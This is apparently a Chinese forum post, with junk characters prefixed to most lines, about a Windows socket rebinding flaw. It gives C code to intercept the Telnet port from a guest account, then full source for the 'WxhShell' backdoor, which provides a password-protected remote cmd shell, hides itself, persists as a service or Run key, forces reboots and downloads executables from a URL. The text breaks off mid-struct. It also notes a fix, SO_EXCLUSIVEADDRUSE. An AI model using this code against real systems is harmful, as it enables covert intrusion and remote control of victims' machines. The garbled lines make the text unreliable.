在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
t(roj@!x_o s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*@#Gc%mGu N]iarYc saddr.sin_family = AF_INET;
Q) aZ0 Pt B%Qo6*b saddr.sin_addr.s_addr = htonl(INADDR_ANY);
EU:N9oT ] WYub1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>/4[OPB0R #V/{DPz 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
5ta;C G 0F- +)S?M[ 这意味着什么?意味着可以进行如下的攻击:
PZJn/A1 S{e3aqT#N 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9<3}zwJ dg#Pb@7a 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
iZnLgkk@ JSju4TQ4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
._]Pz6 ju[y-am$/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
RZ{O6~VH L#a!fd 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)O+Zbn R8lja%+0$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?d?.&nt %$ o[,13= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
= )3\B )_j(NX-C: #include
Wm"#"l4 #include
fCY??su*
#include
"dt}k$Gr #include
3p HI+a DWORD WINAPI ClientThread(LPVOID lpParam);
?nL,Otz int main()
d]|K%<+( {
;/4x.t#b WORD wVersionRequested;
F`eE*& DWORD ret;
*^G, WSADATA wsaData;
kzCJs BOOL val;
N\tFK*U^I SOCKADDR_IN saddr;
.3_u5N|[=W SOCKADDR_IN scaddr;
j]%XY+e int err;
|n;);T( SOCKET s;
1I'Q{X&B SOCKET sc;
9\Ff z& int caddsize;
V73/q HANDLE mt;
4*f+np DWORD tid;
*mj=kJ7(
wVersionRequested = MAKEWORD( 2, 2 );
5-fASN.Lx err = WSAStartup( wVersionRequested, &wsaData );
YGQ/zB^Pj if ( err != 0 ) {
PY '^:0 printf("error!WSAStartup failed!\n");
<uFj5. return -1;
R%}<z*~NE@ }
n
ei0LAD saddr.sin_family = AF_INET;
/=za
m3kd f0^s<:* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
K^"l.V#J NM:$Q<n saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
kFkI[WKyZ saddr.sin_port = htons(23);
W58?t6!
= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{y5 L {
C]JK'K<7- printf("error!socket failed!\n");
Zz:%KUl3 return -1;
7y30TU }
5/U{b5 val = TRUE;
7>r[.g //SO_REUSEADDR选项就是可以实现端口重绑定的
|"Zf0G if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^K J#dT {
jbZTlG printf("error!setsockopt failed!\n");
Mby4(M+&n return -1;
CflyK@ }
^uw]/H3?L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
bnvY2-O6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
s"$K2k;J //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8"d??3ZXJ jp4-w( if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
54WX#/<Yik {
,S(Z\[x0 ret=GetLastError();
-Mrt%1g printf("error!bind failed!\n");
$Q'LDmot return -1;
7KUf,0D }
v
\;/P
listen(s,2);
7 J6Z? while(1)
F_w+8)DZ {
Bnwq!i!M caddsize = sizeof(scaddr);
|Axbx? //接受连接请求
~bzac2Rp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
P =Q+VIP& if(sc!=INVALID_SOCKET)
RiQg]3oY {
/|&4&$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>tMI%r if(mt==NULL)
4|Y1W}!0/ {
1Lje.%(E. printf("Thread Creat Failed!\n");
t(6i4c> break;
wRK27=\z }
m&q0 _nay }
:6(@P1vA 6 CloseHandle(mt);
47{5{/B- }
UYy #DA closesocket(s);
>e-0A WSACleanup();
w9"~NK8xzM return 0;
;{R;lF, }
jHHCJOHB8 DWORD WINAPI ClientThread(LPVOID lpParam)
OA}; pQ9QN {
Ke:EL;*8k SOCKET ss = (SOCKET)lpParam;
qvWi; SOCKET sc;
G[u6X_Q unsigned char buf[4096];
]^wr+9zd SOCKADDR_IN saddr;
If&y 5C long num;
x2HISxg DWORD val;
PMbq5 DWORD ret;
%Q}(.h%M //如果是隐藏端口应用的话,可以在此处加一些判断
ld|GY>rH //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6'uCwAQU saddr.sin_family = AF_INET;
X$Q.A^9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Vep41\g^ saddr.sin_port = htons(23);
a\,V>}e if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
NZ8X@|N {
,|zzq@fk printf("error!socket failed!\n");
Tz9 (</y return -1;
g;[t1~oF }
'+iLW~ val = 100;
(IjM if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
km^ZF<. @ {
SS_6VE*sI ret = GetLastError();
@6R6.i5d return -1;
p9\*n5{ }
<|G!Qn?2- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{w"Cr0F, {
HFyQ$pbBU ret = GetLastError();
%FqQ+0^ return -1;
%yfl-c(u }
b *0u xvLu if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!:esdJH {
L0=`1q printf("error!socket connect failed!\n");
q;sZwp< closesocket(sc);
l:/x&=w closesocket(ss);
Ijz*wq\s; return -1;
grkA2%N }
EX, {1^h while(1)
-,g.39u {
ve.P{;;Ky //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
c\ZnGI\| //如果是嗅探内容的话,可以再此处进行内容分析和记录
7\nXJ381 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S&[9Vb num = recv(ss,buf,4096,0);
glROT@ if(num>0)
gzW{h0iRr send(sc,buf,num,0);
8*B+@` else if(num==0)
DaGny0|BB break;
_.]mES| num = recv(sc,buf,4096,0);
>RJ&b if(num>0)
rADzJ#CU\ send(ss,buf,num,0);
yQ<h>J> else if(num==0)
B *6ncj break;
p_JWklg^ }
gk5Gf
l closesocket(ss);
l1L8a I,8 closesocket(sc);
Cv*K.T return 0 ;
JwWxM3(%t }
Y8lZ]IB
SH8zkAA7u} 8s[1-l ==========================================================
-lv(@7o~ $XkO\6kh 下边附上一个代码,,WXhSHELL
;9 ChBA xA-?pLt"G ==========================================================
5~2_wWjX q j9q #include "stdafx.h"
eq&QWxiD* ,jw`9a #include <stdio.h>
*O[/-
p&7 #include <string.h>
,PJC FQMR #include <windows.h>
)4:]gx#cr #include <winsock2.h>
<1*\ ~CX #include <winsvc.h>
M ]O4 #include <urlmon.h>
Q uw|KL G'dN<Nw6 #pragma comment (lib, "Ws2_32.lib")
:mf&,? #pragma comment (lib, "urlmon.lib")
NNE(jJ`/ u.?jW vcv #define MAX_USER 100 // 最大客户端连接数
U:c0s #define BUF_SOCK 200 // sock buffer
`/!FZh< #define KEY_BUFF 255 // 输入 buffer
cyabqx i`vy<Dvpz #define REBOOT 0 // 重启
N cGFPi(Z #define SHUTDOWN 1 // 关机
M:& %c3 l2dj GZk #define DEF_PORT 5000 // 监听端口
,Sy&?t}` 5e7\tBab #define REG_LEN 16 // 注册表键长度
=43NSY #define SVC_LEN 80 // NT服务名长度
S}]B |Q OZ"76|H1` // 从dll定义API
R2 J A(Hn typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Zv-1*hhHf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
jWh)bsqI! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!)W#|sys& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]Ge>S?u ryA+Lli. // wxhshell配置信息
=d:3]M^ struct WSCFG {
-O-?hsV)y int ws_port; // 监听端口
g4 +Hq * char ws_passstr[REG_LEN]; // 口令
.ns=jp int ws_autoins; // 安装标记, 1=yes 0=no
:^>&t^E char ws_regname[REG_LEN]; // 注册表键名
u5KAwMw%Q char ws_svcname[REG_LEN]; // 服务名
/nX_Q?mo char ws_svcdisp[SVC_LEN]; // 服务显示名
IX<9_q char ws_svcdesc[SVC_LEN]; // 服务描述信息
:7dc;WdM char ws_passmsg[SVC_LEN]; // 密码输入提示信息
l7 @cov int ws_downexe; // 下载执行标记, 1=yes 0=no
'#,C5*` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
1cRF0MI char ws_filenam[SVC_LEN]; // 下载后保存的文件名
fy|I3 ssoE ,6kS };
U^U
hZ! -:J<JX)o // default Wxhshell configuration
72*j6#zS struct WSCFG wscfg={DEF_PORT,
KMQPA>w# "xuhuanlingzhe",
e L}X(). 1,
Q|S>C%4? "Wxhshell",
BS?$eai@:9 "Wxhshell",
2Yd@V} "WxhShell Service",
[cl+AV " "Wrsky Windows CmdShell Service",
2cRru]VZ5 "Please Input Your Password: ",
)N1iGJO) 1,
]fU&?z# "
http://www.wrsky.com/wxhshell.exe",
ue'dI "Wxhshell.exe"
_p'@.P };
NPM2qL9&J Ze#DFe$ // 消息定义模块
EIyFGCw|U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~%f$}{ char *msg_ws_prompt="\n\r? for help\n\r#>";
k#8`996P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
bw7g L\* char *msg_ws_ext="\n\rExit.";
83{P7PBQ;] char *msg_ws_end="\n\rQuit.";
T0)bnjm char *msg_ws_boot="\n\rReboot...";
)EKWsGNe/ char *msg_ws_poff="\n\rShutdown...";
iDhC_F| char *msg_ws_down="\n\rSave to ";
kp}[nehF s@y;b0$gk char *msg_ws_err="\n\rErr!";
g#7Q-n3^ char *msg_ws_ok="\n\rOK!";
oayu*a. W|uRQA` char ExeFile[MAX_PATH];
(uhE'IQ{( int nUser = 0;
,tg(aL HANDLE handles[MAX_USER];
y'>JT/Q5 int OsIsNt;
o8hE.pf& @EyB^T/ SERVICE_STATUS serviceStatus;
`NEi/jB SERVICE_STATUS_HANDLE hServiceStatusHandle;
IA[:-2_ S $o1Q // 函数声明
B'`25u_e< int Install(void);
J]{<Z?% int Uninstall(void);
bX(/2_l int DownloadFile(char *sURL, SOCKET wsh);
BGwD{6`U int Boot(int flag);
l"DHG`kb void HideProc(void);
,R3TFVV!? int GetOsVer(void);
m.! M#x2! int Wxhshell(SOCKET wsl);
Di4GaKa/ void TalkWithClient(void *cs);
>w,jaQ int CmdShell(SOCKET sock);
ED" fi$ int StartFromService(void);
XuHR int StartWxhshell(LPSTR lpCmdLine);
Wi>m}^}9 %N`_g' r! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6akI5\b VOID WINAPI NTServiceHandler( DWORD fdwControl );
$?]`2*i SBs! 52 // 数据结构和表定义
S_OtY]gF SERVICE_TABLE_ENTRY DispatchTable[] =
M6^
\LtFt {
cL;%2TMk {wscfg.ws_svcname, NTServiceMain},
HX}B#T {NULL, NULL}
/93z3o7D> };
A*81}P_ @o^$/AE? // 自我安装
n ]D io int Install(void)
'd&d"E[ {
yg*
#~, char svExeFile[MAX_PATH];
vTK8t:JQ~ HKEY key;
\b8#xT} strcpy(svExeFile,ExeFile);
V@b7$z H^@Hco>| // 如果是win9x系统,修改注册表设为自启动
H-v[ShE if(!OsIsNt) {
(FaYagD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4Y2I'~' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
V+@ }dJS RegCloseKey(key);
QJrXn6` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
b7~Jl+m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Iz. h RegCloseKey(key);
cg17e return 0;
d^!k{Qx' }
I}0? d }
?E|=eO"I1 }
_5~|z$GW else {
K@g
~ ?*+U[*M // 如果是NT以上系统,安装为系统服务
\/;c^!(< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
J@E]Fl if (schSCManager!=0)
>3KlI {
&ZkJ,- SC_HANDLE schService = CreateService
lX"m|W (
2y!aXk\#C schSCManager,
^v cnDi wscfg.ws_svcname,
GA[D@Wy wscfg.ws_svcdisp,
UIU:^g0 SERVICE_ALL_ACCESS,
<jF&+[*iT SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
S Z/yijf SERVICE_AUTO_START,
bPP@ SERVICE_ERROR_NORMAL,
ipp`9 9 svExeFile,
X{,mj"(w NULL,
ex1!7A!}g NULL,
N|2d9E NULL,
a{^z= = NULL,
xR&:]M[Vg NULL
26nwUNak );
N0kCdJv if (schService!=0)
)j~{P {
W)/f5[L CloseServiceHandle(schService);
8~R.iqLoX CloseServiceHandle(schSCManager);
p#]9^oA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
<3@nv% strcat(svExeFile,wscfg.ws_svcname);
!-470J if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
oST)E5X;7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
eLORG(;h4 RegCloseKey(key);
7 =}tJ return 0;
r0lI&25w }
Tgtym"=xd }
DzE^FY CloseServiceHandle(schSCManager);
Y<VX.S2kf }
eaDZ^Z
Er }
MZ-;'w&Z #-G@ p return 1;
Ot`%5<E^ }
fx(8 o+ #<9'{i3 // 自我卸载
% R25, V int Uninstall(void)
d$bO.t5CLh {
r/a@ x9 HKEY key;
gL&w:_ Tc||96%2^ if(!OsIsNt) {
vnQFq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
f~a
7E;y RegDeleteValue(key,wscfg.ws_regname);
P[q>;Fx* RegCloseKey(key);
%#v$d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6wwbH}*=? RegDeleteValue(key,wscfg.ws_regname);
NcF>}f,}\ RegCloseKey(key);
$3>Rw/, return 0;
%po;ih$jr* }
S}U_uZ$b }
Y 'X!T8 }
"i/GzD7 `n else {
hDW_a y4 $#s5y~z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
sGtxqnX:J if (schSCManager!=0)
BV>9U5 {
/]Y#*r8jRi SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
v@[3R7|4 if (schService!=0)
\ 9V_[xD+ {
m]MR\E5]By if(DeleteService(schService)!=0) {
),B/NZ/- CloseServiceHandle(schService);
^[m-PS( CloseServiceHandle(schSCManager);
\M@IKE return 0;
2SD
Z }
&R4?]I CloseServiceHandle(schService);
(n?f016*%d }
_zM?"16I} CloseServiceHandle(schSCManager);
KNQj U-A }
xPUukmG:B }
exiu;\+j FO^6c return 1;
M*3G }
8Y RT0/V WR#h~N
9c // 从指定url下载文件
1<#D3CXK int DownloadFile(char *sURL, SOCKET wsh)
6 *S/frE {
\{ QH^ HRESULT hr;
'h6G"=+ char seps[]= "/";
O^-QqCZE char *token;
gTTKjlI[ char *file;
R,PN?aj char myURL[MAX_PATH];
sgK =eBE char myFILE[MAX_PATH];
w2'z~\dG8 Z'k?lkB2i strcpy(myURL,sURL);
2'M5+[8y8 token=strtok(myURL,seps);
c)^A|{,G while(token!=NULL)
AhOBbss]q {
v}t{*P file=token;
J0R{|]W8 token=strtok(NULL,seps);
8w[O% }
>@bU8}rT +<xQF GetCurrentDirectory(MAX_PATH,myFILE);
@"fv[=Xb strcat(myFILE, "\\");
!=.y[Db= strcat(myFILE, file);
eza"<uBr send(wsh,myFILE,strlen(myFILE),0);
e> 9X send(wsh,"...",3,0);
7lwI]/ZH* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ti9e(Jt!O if(hr==S_OK)
bIBF2m4 return 0;
iH-,l else
2RNee@!JJP return 1;
p2b~k[ <#M1I!R }
Y&=DjKoVh a9NuYYr,h // 系统电源模块
<BBzv-?D int Boot(int flag)
+0ukLc@ {
.{8[o[w
= HANDLE hToken;
iC iKr aW TOKEN_PRIVILEGES tkp;
Y_y!$jd(N GOA
dhh- if(OsIsNt) {
g_l-@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_7:Bxx4B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*:
FS/ir tkp.PrivilegeCount = 1;
LNk :PD0m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2&:z[d}~H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)3e_Hs+ if(flag==REBOOT) {
oupWzjo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
yxpv;v:)= return 0;
5,f`5'$ }
pwHe&7e# else {
4>L*7i if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#M w70@6 return 0;
r]\[G6mE% }
JiXE {( }
P6> C+T1 else {
qlPIxd if(flag==REBOOT) {
cL4Go,)w if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
S m=ln)G= return 0;
\^y~w~g? }
AG vhSd7 else {
vYXh WqL~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
td\gk return 0;
8lqmd1v }
W!XBuk- }
QwFA0 ip'{@1L return 1;
Kg<~Uf=1 }
R7z @y o >+i+_^] // win9x进程隐藏模块
Er@xrhH void HideProc(void)
M8Bp-_ {
"\;n t5L =m (u=|N3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
0k\,z(e if ( hKernel != NULL )
CHqi5Z/+ {
ak:f4dEd pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
b9?Vpu`? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5GJkvZtFY FreeLibrary(hKernel);
='kCY}dkO }
o(54 A[' n>Oze7hVY return;
1 <T| }
%|JL=E}%| V :5aq.o! // 获取操作系统版本
};9/J3]m int GetOsVer(void)
k??CXW {
8_`C&vx OSVERSIONINFO winfo;
Txe*$T,( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"X?Zw$gRud GetVersionEx(&winfo);
v?3xWXX, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
o\Fv~^ return 1;
6A>bm{`c: else
vOKNBR2 return 0;
oo]P}ra }
!JDuVqW _f>)G3p // 客户端句柄模块
yF|yZ{ int Wxhshell(SOCKET wsl)
U_aI!`WXd {
G1zP^ogk SOCKET wsh;
e9:pS WA-n struct sockaddr_in client;
Q8l vwip DWORD myID;
gxI/MD~!> c(8>oeKyD while(nUser<MAX_USER)
k:j?8o3 {
`]19}GK~xo int nSize=sizeof(client);
M!gu`@@}F wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
CUC]-]8 if(wsh==INVALID_SOCKET) return 1;
#]Do_Z JCZ&TK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
69ycP( if(handles[nUser]==0)
9w&CHg7D
i closesocket(wsh);
dW5r]D[Cx else
u0? TMy.% nUser++;
Jz&dC }
IJPyCi) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
OOnj(%g t^6ams$ return 0;
2|RxowXZ" }
v=dN$B5y3 q:jv9eL.O // 关闭 socket
@sd{V void CloseIt(SOCKET wsh)
Ei<+{P(t0 {
0$yHO2 f closesocket(wsh);
Ae^4 nUser--;
=7: }/& ExitThread(0);
hlc g[Qdo* }
%Y|AXxR ~% ]V,-4 // 客户端请求句柄
u0[O /G void TalkWithClient(void *cs)
j[$+DCO#|m {
b=W kRj kwS[,Qy\ SOCKET wsh=(SOCKET)cs;
[CV0sYEA char pwd[SVC_LEN];
|D'!.$7% char cmd[KEY_BUFF];
F$:mGyl5_ char chr[1];
Q3t%JP>;g int i,j;
=q"0GUei3 T{#=A$vu while (nUser < MAX_USER) {
/@&uaw =3V4HQi if(wscfg.ws_passstr) {
L5&,sJz if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
FO]f 4@
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.OW5R* //ZeroMemory(pwd,KEY_BUFF);
%.uN|o&n i=0;
3XbFg%8YG while(i<SVC_LEN) {
Fghan.F EjEXev<] // 设置超时
RdpOj >fT fd_set FdRead;
NLgeBLB struct timeval TimeOut;
> -fXn FD_ZERO(&FdRead);
`C6,**`R$k FD_SET(wsh,&FdRead);
6is+\ TimeOut.tv_sec=8;
rg%m TimeOut.tv_usec=0;
D[YdPg@- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
9(Kff nE^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
iN@|08 <P Vmr2Jp" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
4dSAGLpp pwd
=chr[0]; 6,R<8a;Wn
if(chr[0]==0xd || chr[0]==0xa) { >Ij#+=
pwd=0; l,b_'
m@
break; t#]VR7]
} 8L@@UUjr
i++; dW^#}kN7V
} ~ :B/`1[m
0 R&7vn
// 如果是非法用户,关闭 socket 3`"k1W
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hGUQdTNP
} GsqO^SV
$VxuaOTyVZ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aJ]t1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^#7&R"
q|
*nd!y'
while(1) { ]zvOM^l~
T?-K}PUcQ
ZeroMemory(cmd,KEY_BUFF); ; Oz
p
fX&g. fH
// 自动支持客户端 telnet标准 Hu!<GB~
j=0; B=%YD"FAv
while(j<KEY_BUFF) { N,cj[6;T%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tl^)O^/
cmd[j]=chr[0]; 4)N~*+~\h
if(chr[0]==0xa || chr[0]==0xd) { g-+/zEOUS
cmd[j]=0; t{ridA}
break; D6FG$SV
} kN vNV(4
j++; v[m1R'
} *b1NVN$
B8V85R
// 下载文件 (L<G=XC
if(strstr(cmd,"http://")) { mx^rw*'JGC
send(wsh,msg_ws_down,strlen(msg_ws_down),0); F@X8a/;F-
if(DownloadFile(cmd,wsh)) YE@!`!`d:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %U97{y
else Fi+,omB&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E{}eYU
} gLg\W3TOi
else { d[ce3':z
>P ygUY
d
switch(cmd[0]) { UWBR5
j0e1CSE
// 帮助 6rAenK-%
case '?': { Y3luU&'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w6k^|."
break; mw=keY9]
} -.vNb!=
// 安装 -EU~
%/=m+
case 'i': { nyd'79~>G
if(Install()) LoS%FI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b=Q%Jxz?
else YccD^w[`B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M5LqZyY
break; 55x.Q
} k%cT 38V*
// 卸载 FBI^}^#_
case 'r': { a^9}ceu?
if(Uninstall()) &R}2/Mt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !2]G.|5/A
else s.@DI|Gnf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cx`?}A\%
break; &eX^ll
} }Q>??~mVl
// 显示 wxhshell 所在路径 x$V[xX
case 'p': { /57)y_ \
char svExeFile[MAX_PATH]; q?Mmkh)g
strcpy(svExeFile,"\n\r"); If. hA}
strcat(svExeFile,ExeFile); cz*Z/5XH
send(wsh,svExeFile,strlen(svExeFile),0); WAh{*$Rpl
break; *s"{JrG`O
} ("@ih]zYf
// 重启 pS)/yMlVj
case 'b': { pd}af iF
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
0GiL(e|
if(Boot(REBOOT)) +t;j5\HS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?-PW$p
else { |Ns[{/
closesocket(wsh); Qc"UTvq
ExitThread(0); I78huYAYA
} 0SWec7G
break; nSV
OS6
} PF/eQZ*4
// 关机 UR.l*+<W7
case 'd': { e@crM'R7Lo
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >I.X]<jI
if(Boot(SHUTDOWN)) =wX(a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @{UtS2L
else { 9.$k^|~
closesocket(wsh); XhJbBVS|
ExitThread(0); /*{s1Zcb
} |<1
break;
WJ$!W
} ukRbSJ5a5
// 获取shell "EC,#$e%ev
case 's': { rQPV@J]:
CmdShell(wsh); L(eLxw e%
closesocket(wsh); TW?A/GoXI
ExitThread(0); Ny)!uqul*
break; FQCz_z
} '0>w_ge4
// 退出 2q.J1:lW
case 'x': { &8uq5uKg
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *J] }bX
CloseIt(wsh); }zu?SZH
break; 2_lb+@[W
} ey>V^Fj
// 离开 r@Tq-o
case 'q': { 0SLS;s.GX
send(wsh,msg_ws_end,strlen(msg_ws_end),0); P mgTTI
closesocket(wsh); sKI{AHJ?X
WSACleanup(); rXlJW]i
exit(1); \"@BZ.y
break; DkGC+Dw
} v-mhqhb
} +\n8##oAI
} IH1
fvW
e
V/}g'_E
// 提示信息 z<c@<M=Q*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZkZTCb`/l
} 48 `k"Uy
} 6{p]cr
c31k%/.
return; m#a0HH
} z tLP {q#
4=E9$.3a
// shell模块句柄 SiyZq"
int CmdShell(SOCKET sock) 'XHKhpm<
{ UfnjhHu
STARTUPINFO si; w(KB=lA2
ZeroMemory(&si,sizeof(si)); WS?"OTH.^\
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hjm
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MxO0#
PROCESS_INFORMATION ProcessInfo; yBwgLn
char cmdline[]="cmd"; Td !7Rx
_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VMZ"i1rP
return 0; as?~N/}
} 6Tn.56 X
5g3D}F>OJ
// 自身启动模式 3;6Criq}
int StartFromService(void) 2#bpWk 9
{ gE>_:s
typedef struct 3"Y
|RSy
{ N>S_Vgk}
DWORD ExitStatus; nDvj*lZF
DWORD PebBaseAddress; El$yM.M"
DWORD AffinityMask; #sK:q&/G`
DWORD BasePriority; l|c#
ULONG UniqueProcessId; P<@V
ULONG InheritedFromUniqueProcessId; e-dpk^-
